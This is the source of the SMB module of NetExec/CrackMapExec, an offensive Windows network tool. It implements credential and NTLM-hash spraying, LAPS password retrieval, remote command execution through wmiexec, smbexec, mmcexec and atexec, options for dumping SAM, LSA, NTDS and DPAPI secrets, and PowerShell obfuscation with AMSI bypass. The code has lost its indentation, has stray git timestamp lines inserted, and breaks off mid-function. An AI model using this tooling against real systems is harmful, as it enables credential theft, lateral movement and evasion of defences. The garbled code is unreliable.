NetExec/cme/protocols/smb.py

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#!/usr/bin/env python3
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# -*- coding: utf-8 -*-
import ntpath
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import hashlib
import binascii
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from io import StringIO
from impacket.smbconnection import SMBConnection, SessionError
from impacket.smb import SMB_DIALECT
from impacket.examples.secretsdump import RemoteOperations, SAMHashes, LSASecrets, NTDSHashes
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from impacket.nmb import NetBIOSError, NetBIOSTimeout
from impacket.dcerpc.v5 import transport, lsat, lsad, scmr
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5.transport import DCERPCTransportFactory, SMBTransport
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
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from impacket.dcerpc.v5.epm import MSRPC_UUID_PORTMAP
from impacket.dcerpc.v5.dcom.wmi import WBEM_FLAG_FORWARD_ONLY
from impacket.dcerpc.v5.samr import SID_NAME_USE
from impacket.dcerpc.v5.dtypes import MAXIMUM_ALLOWED
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from impacket.krb5.kerberosv5 import SessionKeyDecryptionError
from impacket.krb5.types import KerberosException
from cme.connection import *
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from cme.logger import CMEAdapter
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from cme.protocols.smb.firefox import FirefoxTriage
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from cme.servers.smb import CMESMBServer
from cme.protocols.smb.wmiexec import WMIEXEC
from cme.protocols.smb.atexec import TSCH_EXEC
from cme.protocols.smb.smbexec import SMBEXEC
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from cme.protocols.smb.mmcexec import MMCEXEC
from cme.protocols.smb.smbspider import SMBSpider
from cme.protocols.smb.passpol import PassPolDump
from cme.protocols.smb.samruser import UserSamrDump
from cme.protocols.smb.samrfunc import SamrFunc
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from cme.protocols.ldap.smbldap import LDAPConnect
from cme.helpers.logger import highlight
from cme.helpers.misc import *
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from cme.helpers.bloodhound import add_user_bh
from cme.helpers.powershell import create_ps_command
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from dploot.triage.vaults import VaultsTriage
from dploot.triage.browser import BrowserTriage
from dploot.triage.credentials import CredentialsTriage
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
from dploot.triage.backupkey import BackupkeyTriage
from dploot.lib.target import Target
from dploot.lib.smb import DPLootSMBConnection
from pywerview.cli.helpers import *
from pywerview.requester import RPCRequester
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from time import time
from datetime import datetime
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from functools import wraps
from traceback import format_exc
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smb_share_name = gen_random_string(5).upper()
smb_server = None
smb_error_status = [
"STATUS_ACCOUNT_DISABLED",
"STATUS_ACCOUNT_EXPIRED",
"STATUS_ACCOUNT_RESTRICTION",
"STATUS_INVALID_LOGON_HOURS",
"STATUS_INVALID_WORKSTATION",
"STATUS_LOGON_TYPE_NOT_GRANTED",
"STATUS_PASSWORD_EXPIRED",
"STATUS_PASSWORD_MUST_CHANGE",
"STATUS_ACCESS_DENIED",
"STATUS_NO_SUCH_FILE",
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"KDC_ERR_CLIENT_REVOKED",
"KDC_ERR_PREAUTH_FAILED"
]
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def get_error_string(exception):
if hasattr(exception, 'getErrorString'):
try:
es = exception.getErrorString()
except KeyError:
return f"Could not get nt error code {exception.getErrorCode()} from impacket: {exception}"
if type(es) is tuple:
return es[0]
else:
return es
else:
return str(exception)
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def requires_smb_server(func):
def _decorator(self, *args, **kwargs):
global smb_server
global smb_share_name
get_output = False
payload = None
methods = []
try:
payload = args[0]
except IndexError:
pass
try:
get_output = args[1]
except IndexError:
pass
try:
methods = args[2]
except IndexError:
pass
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if 'payload' in kwargs:
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payload = kwargs['payload']
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if 'get_output' in kwargs:
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get_output = kwargs['get_output']
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if 'methods' in kwargs:
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methods = kwargs['methods']
if not payload and self.args.execute:
if not self.args.no_output: get_output = True
if get_output or (methods and ('smbexec' in methods)):
if not smb_server:
logging.debug('Starting SMB server')
smb_server = CMESMBServer(
self.logger,
smb_share_name,
listen_port=self.args.smb_server_port,
verbose=self.args.verbose
)
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smb_server.start()
output = func(self, *args, **kwargs)
if smb_server is not None:
smb_server.shutdown()
smb_server = None
return output
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return wraps(func)(_decorator)
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class smb(connection):
def __init__(self, args, db, host):
self.domain = None
self.server_os = None
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self.os_arch = 0
self.hash = None
self.lmhash = ''
self.nthash = ''
self.remote_ops = None
self.bootkey = None
self.output_filename = None
self.smbv1 = None
self.signing = False
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self.smb_share_name = smb_share_name
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self.pvkbytes = None
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self.no_da = None
connection.__init__(self, args, db, host)
@staticmethod
def proto_args(parser, std_parser, module_parser):
smb_parser = parser.add_parser('smb', help="own stuff using SMB", parents=[std_parser, module_parser])
smb_parser.add_argument("-H", '--hash', metavar="HASH", dest='hash', nargs='+', default=[],
help='NTLM hash(es) or file(s) containing NTLM hashes')
smb_parser.add_argument("--no-bruteforce", action='store_true',
help='No spray when using file for username and password (user1 => password1, user2 => password2')
dgroup = smb_parser.add_mutually_exclusive_group()
dgroup.add_argument("-d", metavar="DOMAIN", dest='domain', type=str, help="domain to authenticate to")
dgroup.add_argument("--local-auth", action='store_true', help='authenticate locally to each target')
smb_parser.add_argument("--port", type=int, choices={445, 139}, default=445, help="SMB port (default: 445)")
smb_parser.add_argument("--share", metavar="SHARE", default="C$", help="specify a share (default: C$)")
smb_parser.add_argument("--smb-server-port", default="445", help="specify a server port for SMB", type=int)
smb_parser.add_argument("--gen-relay-list", metavar='OUTPUT_FILE',
help="outputs all hosts that don't require SMB signing to the specified file")
smb_parser.add_argument("--continue-on-success", action='store_true',
help="continues authentication attempts even after successes")
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smb_parser.add_argument("--smb-timeout", help="SMB connection timeout, default 2 secondes", type=int, default=2)
smb_parser.add_argument("--laps", dest='laps', metavar="LAPS", type=str, help="LAPS authentification",
nargs='?', const='administrator')
cgroup = smb_parser.add_argument_group("Credential Gathering", "Options for gathering credentials")
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cegroup = cgroup.add_mutually_exclusive_group()
cegroup.add_argument("--sam", action='store_true', help='dump SAM hashes from target systems')
cegroup.add_argument("--lsa", action='store_true', help='dump LSA secrets from target systems')
cegroup.add_argument("--ntds", choices={'vss', 'drsuapi'}, nargs='?', const='drsuapi',
help="dump the NTDS.dit from target DCs using the specifed method\n(default: drsuapi)")
cegroup.add_argument("--dpapi", choices={'password', 'cookies'}, nargs='?', const='password',
help='dump DPAPI secrets from target systems, can dump cookies if you add "cookies"\n(default: password)')
# cgroup.add_argument("--ntds-history", action='store_true', help='Dump NTDS.dit password history')
# cgroup.add_argument("--ntds-pwdLastSet", action='store_true', help='Shows the pwdLastSet attribute for each NTDS.dit account')
ngroup = smb_parser.add_argument_group("Credential Gathering", "Options for gathering credentials")
ngroup.add_argument("--mkfile", action='store',
help='DPAPI option. File with masterkeys in form of {GUID}:SHA1')
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ngroup.add_argument("--pvk", action='store', help='DPAPI option. File with domain backupkey')
ngroup.add_argument("--enabled", action='store_true', help='Only dump enabled targets from DC')
ngroup.add_argument("--user", dest='userntds', type=str, help='Dump selected user from DC')
egroup = smb_parser.add_argument_group("Mapping/Enumeration", "Options for Mapping/Enumerating")
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egroup.add_argument("--shares", action="store_true", help="enumerate shares and access")
egroup.add_argument("--filter-shares", nargs='+',
help="Filter share by access, option 'read' 'write' or 'read,write'")
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egroup.add_argument("--sessions", action='store_true', help='enumerate active sessions')
egroup.add_argument('--disks', action='store_true', help='enumerate disks')
egroup.add_argument("--loggedon-users-filter", action='store',
help='only search for specific user, works with regex')
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egroup.add_argument("--loggedon-users", action='store_true', help='enumerate logged on users')
egroup.add_argument('--users', nargs='?', const='', metavar='USER',
help='enumerate domain users, if a user is specified than only its information is queried.')
egroup.add_argument("--groups", nargs='?', const='', metavar='GROUP',
help='enumerate domain groups, if a group is specified than its members are enumerated')
egroup.add_argument('--computers', nargs='?', const='', metavar='COMPUTER', help='enumerate computer users')
egroup.add_argument("--local-groups", nargs='?', const='', metavar='GROUP',
help='enumerate local groups, if a group is specified then its members are enumerated')
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egroup.add_argument("--pass-pol", action='store_true', help='dump password policy')
egroup.add_argument("--rid-brute", nargs='?', type=int, const=4000, metavar='MAX_RID',
help='enumerate users by bruteforcing RID\'s (default: 4000)')
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egroup.add_argument("--wmi", metavar='QUERY', type=str, help='issues the specified WMI query')
egroup.add_argument("--wmi-namespace", metavar='NAMESPACE', default='root\\cimv2',
help='WMI Namespace (default: root\\cimv2)')
sgroup = smb_parser.add_argument_group("Spidering", "Options for spidering shares")
sgroup.add_argument("--spider", metavar='SHARE', type=str, help='share to spider')
sgroup.add_argument("--spider-folder", metavar='FOLDER', default='.', type=str,
help='folder to spider (default: root share directory)')
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sgroup.add_argument("--content", action='store_true', help='enable file content searching')
sgroup.add_argument("--exclude-dirs", type=str, metavar='DIR_LIST', default='',
help='directories to exclude from spidering')
segroup = sgroup.add_mutually_exclusive_group()
segroup.add_argument("--pattern", nargs='+',
help='pattern(s) to search for in folders, filenames and file content')
segroup.add_argument("--regex", nargs='+', help='regex(s) to search for in folders, filenames and file content')
sgroup.add_argument("--depth", type=int, default=None,
help='max spider recursion depth (default: infinity & beyond)')
sgroup.add_argument("--only-files", action='store_true', help='only spider files')
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tgroup = smb_parser.add_argument_group("Files", "Options for put and get remote files")
tgroup.add_argument("--put-file", nargs=2, metavar="FILE", help='Put a local file into remote target, ex: whoami.txt \\\\Windows\\\\Temp\\\\whoami.txt')
tgroup.add_argument("--get-file", nargs=2, metavar="FILE", help='Get a remote file, ex: \\\\Windows\\\\Temp\\\\whoami.txt whoami.txt')
tgroup.add_argument("--append-host", action='store_true', help='append the host to the get-file filename')
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cgroup = smb_parser.add_argument_group("Command Execution", "Options for executing commands")
cgroup.add_argument('--exec-method', choices={"wmiexec", "mmcexec", "smbexec", "atexec"}, default=None,
help="method to execute the command. Ignored if in MSSQL mode (default: wmiexec)")
cgroup.add_argument('--codec', default='utf-8',
help='Set encoding used (codec) from the target\'s output (default '
'"utf-8"). If errors are detected, run chcp.com at the target, '
'map the result with '
'https://docs.python.org/3/library/codecs.html#standard-encodings and then execute '
'again with --codec and the corresponding codec')
cgroup.add_argument('--force-ps32', action='store_true',
help='force the PowerShell command to run in a 32-bit process')
cgroup.add_argument('--no-output', action='store_true', help='do not retrieve command output')
cegroup = cgroup.add_mutually_exclusive_group()
cegroup.add_argument("-x", metavar="COMMAND", dest='execute', help="execute the specified command")
cegroup.add_argument("-X", metavar="PS_COMMAND", dest='ps_execute',
help='execute the specified PowerShell command')
psgroup = smb_parser.add_argument_group('Powershell Obfuscation', "Options for PowerShell script obfuscation")
psgroup.add_argument('--obfs', action='store_true', help='Obfuscate PowerShell scripts')
psgroup.add_argument('--amsi-bypass', nargs=1, metavar="FILE", help='File with a custom AMSI bypass')
psgroup.add_argument('--clear-obfscripts', action='store_true',
help='Clear all cached obfuscated PowerShell scripts')
return parser
def proto_logger(self):
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self.logger = CMEAdapter(
extra={
'protocol': 'SMB',
'host': self.host,
'port': self.args.port,
'hostname': self.hostname
}
)
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def get_os_arch(self):
try:
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string_binding = r'ncacn_ip_tcp:{}[135]'.format(self.host)
transport = DCERPCTransportFactory(string_binding)
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transport.set_connect_timeout(5)
dce = transport.get_dce_rpc()
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if self.kerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
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dce.connect()
try:
dce.bind(MSRPC_UUID_PORTMAP, transfer_syntax=('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0'))
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except DCERPCException as e:
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if str(e).find('syntaxes_not_supported') >= 0:
dce.disconnect()
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return 32
else:
dce.disconnect()
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return 64
except Exception as e:
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logging.debug('Error retrieving os arch of {}: {}'.format(self.host, str(e)))
return 0
def enum_host_info(self):
self.local_ip = self.conn.getSMBServer().get_socket().getsockname()[0]
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no_ntlm = False
try:
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self.conn.login('', '')
except BrokenPipeError as e:
self.logger.error(f"Broken Pipe Error while attempting to login")
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except Exception as e:
if "STATUS_NOT_SUPPORTED" in str(e):
# no ntlm supported
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no_ntlm = True
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pass
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self.domain = self.conn.getServerDNSDomainName() if not no_ntlm else self.args.domain
self.hostname = self.conn.getServerName() if not no_ntlm else self.host
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self.server_os = self.conn.getServerOS()
try:
self.signing = self.conn.isSigningRequired() \
if self.smbv1 else self.conn._SMBConnection._Connection['RequireSigning']
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except Exception as e:
logging.debug(e)
pass
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self.os_arch = self.get_os_arch()
self.output_filename = os.path.expanduser(
'~/.cme/logs/{}_{}_{}'.format(
self.hostname,
self.host,
datetime.now().strftime("%Y-%m-%d_%H%M%S")
)
)
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self.output_filename = self.output_filename.replace(":", "-")
if not self.domain:
self.domain = self.hostname
self.db.add_host(self.host, self.hostname, self.domain, self.server_os, self.smbv1, self.signing)
try:
'''
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DC's seem to want us to logoff first, windows workstations sometimes reset the connection
(go home Windows, you're drunk)
'''
self.conn.logoff()
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except Exception as e:
logging.debug(f"Error logging off system: {e}")
pass
if self.args.domain:
self.domain = self.args.domain
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if self.args.local_auth:
self.domain = self.hostname
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def laps_search(self, username, password, ntlm_hash, domain):
self.logger.extra['protocol'] = "LDAP"
self.logger.extra['port'] = "389"
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ldapco = LDAPConnect(self.domain, "389", self.domain)
if self.kerberos:
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if self.kdcHost is None:
self.logger.error('Provide --kdcHost parameter')
return False
connection = ldapco.kerberos_login(
domain,
username[0] if username else '',
password[0] if password else '',
ntlm_hash[0] if ntlm_hash else '',
self.kdcHost,
self.aesKey
)
else:
connection = ldapco.plaintext_login(
domain,
username[0] if username else '',
password[0] if password else '',
ntlm_hash[0] if ntlm_hash else ''
)
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if not connection:
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logging.debug('LAPS connection failed with account {}'.format(username))
return False
search_filter = '(&(objectCategory=computer)(ms-MCS-AdmPwd=*)(name=' + self.hostname + '))'
attributes = ['ms-MCS-AdmPwd', 'samAccountname']
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result = connection.search(
searchFilter=search_filter,
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attributes=attributes,
sizeLimit=0
)
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msMCSAdmPwd = ''
sAMAccountName = ''
for item in result:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
for host in item['attributes']:
if str(host['type']) == "sAMAccountName":
sAMAccountName = str(host['vals'][0])
else:
msMCSAdmPwd = str(host['vals'][0])
logging.debug("Host: {:<20} Password: {} {}".format(sAMAccountName, msMCSAdmPwd, self.hostname))
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self.username = self.args.laps
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self.password = msMCSAdmPwd
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if msMCSAdmPwd == '':
self.logger.error('msMCSAdmPwd is empty or account cannot read LAPS property for {}'.format(self.hostname))
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return False
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if ntlm_hash:
hash_ntlm = hashlib.new('md4', msMCSAdmPwd.encode('utf-16le')).digest()
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self.hash = binascii.hexlify(hash_ntlm).decode()
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self.domain = self.hostname
self.logger.extra['protocol'] = "SMB"
self.logger.extra['port'] = "445"
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return True
def print_host_info(self):
self.logger.info(
u"{}{} (name:{}) (domain:{}) (signing:{}) (SMBv1:{})".format(
self.server_os,
' x{}'.format(self.os_arch) if self.os_arch else '',
self.hostname,
self.domain,
self.signing,
self.smbv1
)
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)
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if self.args.laps:
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return self.laps_search(self.args.username, self.args.password, self.args.hash, self.domain)
return True
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def kerberos_login(self, domain, username, password='', ntlm_hash='', aesKey='', kdcHost='', useCache=False):
logging.getLogger("impacket").disabled = True
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# Re-connect since we logged off
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fqdn_host = self.hostname + "." + self.domain
self.create_conn_obj(fqdn_host)
lmhash = ''
nthash = ''
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try:
if not self.args.laps:
self.password = password
self.username = username
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# This checks to see if we didn't provide the LM Hash
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if ntlm_hash.find(':') != -1:
lmhash, nthash = ntlm_hash.split(':')
self.hash = nthash
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else:
nthash = ntlm_hash
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self.hash = ntlm_hash
if lmhash: self.lmhash = lmhash
if nthash: self.nthash = nthash
if not all('' == s for s in [self.nthash, password, aesKey]):
kerb_pass = next(s for s in [self.nthash, password, aesKey] if s)
else:
kerb_pass = ''
self.conn.kerberosLogin(username, password, domain, lmhash, nthash, aesKey, kdcHost, useCache=useCache)
self.check_if_admin()
if username == '':
self.username = self.conn.getCredentials()[0]
else:
self.username = username
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out = u'{}\\{}{} {}'.format(
self.domain,
self.username,
# Show what was used between cleartext, nthash, aesKey and ccache
" from ccache" if useCache
else ":%s" % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8),
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')
)
self.logger.success(out)
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if not self.args.local_auth:
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add_user_bh(self.username, domain, self.logger, self.config)
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if not self.args.continue_on_success:
return True
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# check https://github.com/byt3bl33d3r/CrackMapExec/issues/321
elif self.signing:
try:
self.conn.logoff()
except:
pass
self.create_conn_obj()
except SessionKeyDecryptionError:
# for PRE-AUTH account
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self.logger.error(u'{}\\{}{} {}'.format(
domain,
self.username,
" account vulnerable to asreproast attack",
""),
color='yellow'
)
return False
except (FileNotFoundError, KerberosException) as e:
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self.logger.error('CCache Error: {}'.format(e))
return False
except OSError as e:
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self.logger.error(u'{}\\{}{} {} {}'.format(
domain,
self.username,
# Show what was used between cleartext, nthash, aesKey and ccache
" from ccache" if useCache
else ":%s" % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8),
str(e),
'',
color='red')
)
except (SessionError, Exception) as e:
error, desc = e.getErrorString()
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self.logger.error(u'{}\\{}{} {} {}'.format(
domain,
self.username,
# Show what was used between cleartext, nthash, aesKey and ccache
" from ccache" if useCache
else ":%s" % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8),
error,
'({})'.format(desc) if self.args.verbose else ''
),
color='magenta' if error in smb_error_status else 'red'
)
if error not in smb_error_status:
self.inc_failed_login(username)
return False
return False
def plaintext_login(self, domain, username, password):
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# Re-connect since we logged off
self.create_conn_obj()
try:
if not self.args.laps:
self.password = password
self.username = username
self.domain = domain
try:
self.conn.login(self.username, self.password, domain)
except BrokenPipeError as e:
self.logger.error(f"Broken Pipe Error while attempting to login")
self.check_if_admin()
self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}")
self.db.add_credential('plaintext', domain, self.username, self.password)
user_id = self.db.get_credential('plaintext', domain, self.username, self.password)
host_id = self.db.get_hosts(self.host)[0].id
self.db.add_loggedin_relation(user_id, host_id)
if self.admin_privs:
self.logger.debug(f"Adding admin user: {self.domain}/{self.username}:{self.password}@{self.host}")
self.db.add_admin_user('plaintext', domain, self.username, self.password, self.host, user_id=user_id)
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out = u'{}\\{}:{} {}'.format(
domain,
self.username,
self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8,
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highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')
)
self.logger.success(out)
if not self.args.local_auth:
add_user_bh(self.username, self.domain, self.logger, self.config)
if not self.args.continue_on_success:
return True
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# check https://github.com/byt3bl33d3r/CrackMapExec/issues/321
elif self.signing:
try:
self.conn.logoff()
except:
pass
self.create_conn_obj()
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except SessionError as e:
error, desc = e.getErrorString()
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self.logger.error(u'{}\\{}:{} {} {}'.format(
domain,
self.username,
self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8,
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error,
'({})'.format(desc) if self.args.verbose else ''),
color='magenta' if error in smb_error_status else 'red'
)
if error not in smb_error_status:
self.inc_failed_login(username)
return False
except (ConnectionResetError, NetBIOSTimeout, NetBIOSError) as e:
self.logger.error('Connection Error: {}'.format(e))
return False
def hash_login(self, domain, username, ntlm_hash):
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# Re-connect since we logged off
self.create_conn_obj()
lmhash = ''
nthash = ''
try:
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if not self.args.laps:
self.username = username
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# This checks to see if we didn't provide the LM Hash
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if ntlm_hash.find(':') != -1:
lmhash, nthash = ntlm_hash.split(':')
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self.hash = nthash
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else:
nthash = ntlm_hash
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self.hash = ntlm_hash
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if lmhash: self.lmhash = lmhash
if nthash: self.nthash = nthash
else:
nthash = self.hash
self.domain = domain
try:
self.conn.login(self.username, '', domain, lmhash, nthash)
except BrokenPipeError as e:
self.logger.error(f"Broken Pipe Error while attempting to login")
self.check_if_admin()
user_id = self.db.add_credential('hash', domain, self.username, nthash)
host_id = self.db.get_hosts(self.host)[0].id
self.db.add_loggedin_relation(user_id, host_id)
if self.admin_privs:
self.db.add_admin_user('hash', domain, self.username, nthash, self.host, user_id=user_id)
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out = u'{}\\{}:{} {}'.format(
domain,
self.username,
self.hash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8,
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highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')
)
self.logger.success(out)
if not self.args.local_auth:
add_user_bh(self.username, self.domain, self.logger, self.config)
if not self.args.continue_on_success:
return True
# check https://github.com/byt3bl33d3r/CrackMapExec/issues/321
if self.signing:
try:
self.conn.logoff()
except:
pass
self.create_conn_obj()
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except SessionError as e:
error, desc = e.getErrorString()
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self.logger.error(u'{}\\{}:{} {} {}'.format(
domain,
self.username,
self.hash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8,
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error,
'({})'.format(desc) if self.args.verbose else ''),
color='magenta' if error in smb_error_status else 'red'
)
if error not in smb_error_status:
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self.inc_failed_login(self.username)
return False
except (ConnectionResetError, NetBIOSTimeout, NetBIOSError) as e:
self.logger.error('Connection Error: {}'.format(e))
return False
def create_smbv1_conn(self, kdc=''):
try:
self.conn = SMBConnection(self.host if not kdc else kdc, self.host if not kdc else kdc, None,
self.args.port, preferredDialect=SMB_DIALECT, timeout=self.args.smb_timeout)
self.smbv1 = True
except socket.error as e:
if str(e).find('Connection reset by peer') != -1:
logging.debug('SMBv1 might be disabled on {}'.format(self.host if not kdc else kdc))
return False
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except (Exception, NetBIOSTimeout) as e:
logging.debug('Error creating SMBv1 connection to {}: {}'.format(self.host if not kdc else kdc, e))
return False
return True
def create_smbv3_conn(self, kdc=''):
try:
self.conn = SMBConnection(self.host if not kdc else kdc, self.host if not kdc else kdc, None,
self.args.port, timeout=self.args.smb_timeout)
self.smbv1 = False
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except socket.error as e:
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if str(e).find('Too many open files') != -1:
self.logger.error('SMBv3 connection error on {}: {}'.format(self.host if not kdc else kdc, e))
return False
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except (Exception, NetBIOSTimeout) as e:
logging.debug('Error creating SMBv3 connection to {}: {}'.format(self.host if not kdc else kdc, e))
return False
return True
def create_conn_obj(self, kdc=''):
if self.create_smbv1_conn(kdc):
return True
elif self.create_smbv3_conn(kdc):
return True
return False
def check_if_admin(self):
rpctransport = SMBTransport(self.conn.getRemoteHost(), 445, r'\svcctl', smb_connection=self.conn)
dce = rpctransport.get_dce_rpc()
try:
dce.connect()
except:
pass
else:
dce.bind(scmr.MSRPC_UUID_SCMR)
try:
# 0xF003F - SC_MANAGER_ALL_ACCESS
# http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx
ans = scmr.hROpenSCManagerW(dce, f"{self.host}\x00", "ServicesActive\x00", 0xF003F)
self.admin_privs = True
except scmr.DCERPCException as e:
self.admin_privs = False
pass
return
def gen_relay_list(self):
if self.server_os.lower().find('windows') != -1 and self.signing is False:
with sem:
with open(self.args.gen_relay_list, 'a+') as relay_list:
if self.host not in relay_list.read():
relay_list.write(self.host + '\n')
@requires_admin
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# @requires_smb_server
def execute(self, payload=None, get_output=False, methods=None):
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if self.args.exec_method:
methods = [self.args.exec_method]
if not methods:
methods = ['wmiexec', 'smbexec', 'mmcexec', 'atexec']
if not payload and self.args.execute:
payload = self.args.execute
if not self.args.no_output: get_output = True
for method in methods:
if method == 'wmiexec':
try:
exec_method = WMIEXEC(
self.host if not self.kerberos else self.hostname + '.' + self.domain,
self.smb_share_name,
self.username,
self.password,
self.domain,
self.conn,
self.kerberos,
self.aesKey,
self.kdcHost,
self.hash,
self.args.share
)
logging.debug('Executed command via wmiexec')
break
except:
logging.debug('Error executing command via wmiexec, traceback:')
logging.debug(format_exc())
continue
2017-03-27 21:09:36 +00:00
elif method == 'mmcexec':
try:
exec_method = MMCEXEC(
self.host if not self.kerberos else self.hostname + '.' + self.domain,
self.smb_share_name,
self.username,
self.password,
self.domain,
self.conn,
self.hash
)
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logging.debug('Executed command via mmcexec')
break
except:
logging.debug('Error executing command via mmcexec, traceback:')
logging.debug(format_exc())
continue
elif method == 'atexec':
try:
exec_method = TSCH_EXEC(
self.host if not self.kerberos else self.hostname + '.' + self.domain,
self.smb_share_name,
self.username,
self.password,
self.domain,
self.kerberos,
self.aesKey,
self.kdcHost,
self.hash
) # self.args.share)
logging.debug('Executed command via atexec')
break
except:
logging.debug('Error executing command via atexec, traceback:')
logging.debug(format_exc())
continue
elif method == 'smbexec':
try:
exec_method = SMBEXEC(
self.host if not self.kerberos else self.hostname + '.' + self.domain,
self.smb_share_name,
self.conn,
self.args.port,
self.username,
self.password,
self.domain,
self.kerberos,
self.aesKey,
self.kdcHost,
self.hash,
self.args.share
)
logging.debug('Executed command via smbexec')
break
except:
logging.debug('Error executing command via smbexec, traceback:')
logging.debug(format_exc())
continue
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if hasattr(self, 'server'):
self.server.track_host(self.host)
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output = exec_method.execute(payload, get_output)
try:
if not isinstance(output, str):
output = output.decode(self.args.codec)
except UnicodeDecodeError:
logging.debug("Decoding error detected, consider running chcp.com at the target, map the result with https://docs.python.org/3/library/codecs.html#standard-encodings")
2022-04-26 13:58:03 +00:00
output = output.decode('cp437')
output = u'{}'.format(output.strip())
if self.args.execute or self.args.ps_execute:
self.logger.success(f"Executed command {self.args.exec_method if self.args.exec_method else ''}")
buf = StringIO(output).readlines()
for line in buf:
self.logger.highlight(line.strip())
return output
@requires_admin
2017-10-25 06:45:58 +00:00
def ps_execute(self, payload=None, get_output=False, methods=None, force_ps32=False, dont_obfs=False):
if not payload and self.args.ps_execute:
payload = self.args.ps_execute
if not self.args.no_output: get_output = True
amsi_bypass = self.args.amsi_bypass[0] if self.args.amsi_bypass else None
if os.path.isfile(payload):
with open(payload) as commands:
for c in commands:
self.execute(
create_ps_command(
c,
force_ps32=force_ps32,
dont_obfs=dont_obfs,
custom_amsi=amsi_bypass
),
get_output,
methods
)
else:
self.execute(
create_ps_command(
payload,
force_ps32=force_ps32,
dont_obfs=dont_obfs,
custom_amsi=amsi_bypass
),
get_output,
methods
)
return ''
def shares(self):
temp_dir = ntpath.normpath("\\" + gen_random_string())
permissions = []
try:
self.logger.debug(f"domain: {self.domain}")
user_id = self.db.get_user(
self.domain.split('.')[0].upper(),
self.username
)[0][0]
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except Exception as e:
error = get_error_string(e)
self.logger.error(f"Error getting user: {error}")
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pass
try:
shares = self.conn.listShares()
logging.debug(f"Shares returned: {shares}")
except SessionError as e:
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error = get_error_string(e)
self.logger.error('Error enumerating shares: {}'.format(error), color='magenta' if error in smb_error_status else 'red')
return permissions
except Exception as e:
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error = get_error_string(e)
self.logger.error('Error enumerating shares: {}'.format(error), color='magenta' if error in smb_error_status else 'red')
return permissions
for share in shares:
share_name = share['shi1_netname'][:-1]
share_remark = share['shi1_remark'][:-1]
share_info = {
'name': share_name,
'remark': share_remark,
'access': []
}
read = False
write = False
try:
self.conn.listPath(share_name, '*')
read = True
share_info['access'].append('READ')
except SessionError as e:
error = get_error_string(e)
logging.debug(f"Error checking READ access on share: {error}")
pass
try:
self.conn.createDirectory(share_name, temp_dir)
self.conn.deleteDirectory(share_name, temp_dir)
write = True
share_info['access'].append('WRITE')
except SessionError as e:
error = get_error_string(e)
logging.debug(f"Error checking WRITE access on share: {error}")
pass
permissions.append(share_info)
if share_name != "IPC$":
try:
# TODO: check if this already exists in DB before adding
self.db.add_share(self.hostname, user_id, share_name, share_remark, read, write)
except Exception as e:
2023-03-04 13:44:28 +00:00
error = get_error_string(e)
logging.debug(f"Error adding share: {error}")
pass
self.logger.success('Enumerated shares')
self.logger.highlight('{:<15} {:<15} {}'.format('Share', 'Permissions', 'Remark'))
self.logger.highlight('{:<15} {:<15} {}'.format('-----', '-----------', '------'))
for share in permissions:
name = share['name']
remark = share['remark']
perms = share['access']
if self.args.filter_shares and self.args.filter_shares != perms:
continue
self.logger.highlight(u'{:<15} {:<15} {}'.format(name, ','.join(perms), remark))
return permissions
2017-03-27 21:09:36 +00:00
def get_dc_ips(self):
dc_ips = []
for dc in self.db.get_domain_controllers(domain=self.domain):
dc_ips.append(dc[1])
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if not dc_ips:
dc_ips.append(self.host)
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return dc_ips
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def sessions(self):
try:
sessions = get_netsession(self.host, self.domain, self.username, self.password, self.lmhash, self.nthash)
self.logger.success('Enumerated sessions')
for session in sessions:
if session.sesi10_cname.find(self.local_ip) == -1:
self.logger.highlight('{:<25} User:{}'.format(session.sesi10_cname, session.sesi10_username))
return sessions
except:
pass
def disks(self):
disks = []
try:
disks = get_localdisks(self.host, self.domain, self.username, self.password, self.lmhash, self.nthash)
self.logger.success('Enumerated disks')
for disk in disks:
self.logger.highlight(disk.disk)
except Exception as e:
error, desc = e.getErrorString()
self.logger.error(
f"Error enumerating disks: {error}",
color='magenta' if error in smb_error_status else 'red'
)
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return disks
def local_groups(self):
groups = []
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# To enumerate local groups the DC IP is optional
# if specified it will resolve the SIDs and names of any domain accounts in the local group
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for dc_ip in self.get_dc_ips():
try:
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groups = get_netlocalgroup(
self.host,
dc_ip,
'',
self.username,
self.password,
self.lmhash,
self.nthash,
queried_groupname=self.args.local_groups,
list_groups=True if not self.args.local_groups else False,
recurse=False
)
2017-03-27 21:09:36 +00:00
if self.args.local_groups:
self.logger.success('Enumerated members of local group')
else:
self.logger.success('Enumerated local groups')
for group in groups:
if group.name:
if not self.args.local_groups:
self.logger.highlight('{:<40} membercount: {}'.format(
group.name,
group.membercount
))
group_id = self.db.add_group(
self.hostname,
group.name,
member_count_ad=group.membercount
)[0]
2017-03-27 21:09:36 +00:00
else:
domain, name = group.name.split('/')
self.logger.highlight(f"domain: {domain}, name: {name}")
self.logger.highlight('{}\\{}'.format(
domain.upper(),
name
))
try:
group_id = self.db.get_groups(
group_name=self.args.local_groups,
group_domain=domain
)[0][0]
except IndexError:
group_id = self.db.add_group(
domain,
self.args.local_groups,
member_count_ad=group.membercount
)[0]
2017-03-27 21:09:36 +00:00
2023-03-04 14:11:31 +00:00
# yo dawg, I hear you like groups.
# So I put a domain group as a member of a local group which is also a member of another local group.
2017-03-27 21:09:36 +00:00
# (╯°□°)╯︵ ┻━┻
if not group.isgroup:
